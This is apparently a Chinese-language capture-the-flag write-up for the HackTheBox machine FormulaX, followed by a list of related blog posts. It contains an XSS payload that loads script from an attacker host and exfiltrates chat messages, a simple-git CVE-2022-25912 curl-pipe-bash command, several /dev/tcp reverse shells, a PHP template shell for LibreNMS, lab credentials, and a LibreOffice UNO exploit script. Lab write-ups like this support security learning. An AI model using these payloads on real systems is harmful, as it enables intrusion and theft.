htb_FormulaX(XSS)

信息收集

常规信息收集

bash 复制代码
nmap -sV -sC 10.10.11.6

开放22,80端口

bash 复制代码
gobuster dir -u http://10.10.11.6/ -w /usr/share/Seclists-master/Discovery/Web-Content/directory-list-2.3-medium.txt

一无所获

80端口-web

注册账户

Chat Now 和 Contact Us是重点

Chat Now

一个ai聊天页面

提醒我们使用help和history命令

抓包,发现该请求采用socket.io轮询方式

contact_us

一个表单,尝试xss注入,存在漏洞

这个听说可以扫出来,但我换了几个工具也没扫到,不知道为啥

chat页面的js文件

Client端:接受从服务端传来的message字段,向服务端发送client_message字段

仿照chat.js代码,编写payload利用xss漏洞在contact_us表单上尝试注入

xss.js

javascript 复制代码
let value;
 const res = axios.get(`/user/api/chat`);
 const socket = io('/',{withCredentials: true});
 //listening for the messages
 socket.on('message', (my_message) => { 
//console.log("Received From Server: " + my_message)  
 // Show_messages_on_screen_of_Server(my_message)     
    //将监听数据发送到本机监听端口上
    fetch("http://10.10.16.9:3333/?mes=" + btoa(my_message );}) 
     
   
const typing_chat_new = () => {  
//尝试向服务器发送'history'
 value = "history";
 //document.getElementById('user_message').value  
 if (value) {  
 // sending the messages to the server  
 socket.emit('client_message', value)  
 Show_messages_on_screen_of_Client(value);  
 // here we will do out socket things..  
 document.getElementById('user_message').value = "" } 
else { alert("Cannot send Empty Messages"); }} 

将xss.js文件放在攻击机上,开启http服务,表单上注入(表单过滤了<script>)

bash 复制代码
<img src=x onerror="var script1=document.createElement('script');script1.src='http://10.10.16.9:4444/xss.js';document.head.appendChild(script1);"/>

攻击机开启监听

python3 -m http.server 3333

接收到返回数据,进行base64解码

其中一句提醒我们有一个新的域名,加入/etc/hosts访问

dev-git-auto-update.chatbot.htb

发现版本号simple-git v3.14 ,存在cve漏洞

CVE-2022-25912

poc提示我们输入以下代码,可以使服务器下载payload并执行

bash 复制代码
ext::sh -c curl% http://10.10.16.9:3333/shell1.sh|bash >&2

shell1.sh

bash 复制代码
#!/bin/bash
/bin/bash -c "bash -i >& /dev/tcp/10.10.16.9/1234 0>&1"

get shell

反弹shell执行,获得www-data权限

发现存在mongodb数据库

查看users表内容

bash 复制代码
show dbs

use testing

show collections

db.users.find()

发现两个用户信息,将密码复制下来放到john中解密

解密出来一个,是frank_dorky的密码frank_dorky:manchesterunited

开放了22端口,登录ssh,获得frank_dorky权限

sudo -l 无法使用

查看网络端口开放,开放了3000端口,上传chisel转发出来看看

bash 复制代码
chisel server -p 6150 --reverse
./chisellinux client 10.10.16.9:6150 R:3000:127.0.0.1:3000

本机访问127.0.0.1:3000,是一个libernms界面,搜索相关漏洞后,发现可以通过调用adduser.php添加管理用户

(这一段忘记截图了)

在frank_dorky用户下

bash 复制代码
cd /opt/librenms

./adduser.php cc cc 10

添加成功后,利用账号密码cc:cc进行登录

若提示失败,则将域名(127.0.1 libernms.com)添加至/etc/hosts再访问(libernms.com:3000)

该网站有一个templates模块,添加一段反弹shell的php代码

https://www.sonarsource.com/blog/it-s-a-snmp-trap-gaining-code-execution-on-librenms

php 复制代码
@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.9/8888 0>&1'");
@endphp

反弹成功后,使用env命令查看环境变量,发现用户kai_relay凭据

kai_relay:mychemicalformulaX

提权

登录ssh,获得kai_relay权限

sudo -l 查看权限,发现该用户对于/user/bin/office.sh文件具有sudo权限

该脚本用于启动LiberOffice,开放2002端口接受远程调用

脚本链接

修改最后一句为反弹shell文件路径

python 复制代码
#exploit.py
import uno
from com.sun.star.system import XSystemShellExecute
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--host', help='host to connect to', dest='host', required=True)
parser.add_argument('--port', help='port to connect to', dest='port', required=True)

args = parser.parse_args()
# Define the UNO component
localContext = uno.getComponentContext()

# Define the resolver to use, this is used to connect with the API
resolver = localContext.ServiceManager.createInstanceWithContext(
                                "com.sun.star.bridge.UnoUrlResolver", localContext )

# Connect with the provided host on the provided target port
print("[+] Connecting to target...")
context = resolver.resolve(
        "uno:socket,host={0},port={1};urp;StarOffice.ComponentContext".format(args.host,args.port))
    
# Issue the service manager to spawn the SystemShellExecute module and execute calc.exe
service_manager = context.ServiceManager
print("[+] Connected to {0}".format(args.host))
shell_execute = service_manager.createInstance("com.sun.star.system.SystemShellExecute")
shell_execute.execute("/tmp/sh1.sh", '',1)

cd /tmp 后,将exploit.py,sh1.sh上传,给sh1.sh添加执行权限

再另起一个ssh连接,先执行sudo office.sh再执行exploit.py

bash 复制代码
sudo /usr/bin/office.sh
另起终端
python3 exploit.py --host localhost --port 2002

成功反弹root权限shell

相关推荐
Hqst_Kevin7 分钟前
Hqst 品牌 H81801D 千兆 DIP 网络变压器在光猫收发器机顶盒中的应用
运维·服务器·网络·5g·网络安全·信息与通信·信号处理
不会代码的小徐2 小时前
Django SQL注入-漏洞分析
安全·网络安全
XyLin.2 小时前
Msf之Python分离免杀
开发语言·python·网络安全·系统安全
Coremail邮件安全4 小时前
寻呼机爆炸,炸醒通讯安全警惕心
安全·网络安全·邮件安全·国产信创
xuan哈哈哈5 小时前
web基础—dvwa靶场(八)XSS
web安全·网络安全
qmx_0711 小时前
HTB-Jerry(tomcat war文件、msfvenom)
java·web安全·网络安全·tomcat
衍生星球18 小时前
【网络安全】对称密码体制
网络·安全·网络安全·密码学·对称密码
掘根18 小时前
【网络】高级IO——poll版本TCP服务器
网络·数据库·sql·网络协议·tcp/ip·mysql·网络安全
网安加社区20 小时前
国家网络安全宣传周 | 2024年网络安全领域重大政策法规一览
安全·网络安全·政策法规
weixin_446260851 天前
24年蓝桥杯及攻防世界赛题-MISC-3
网络安全·蓝桥杯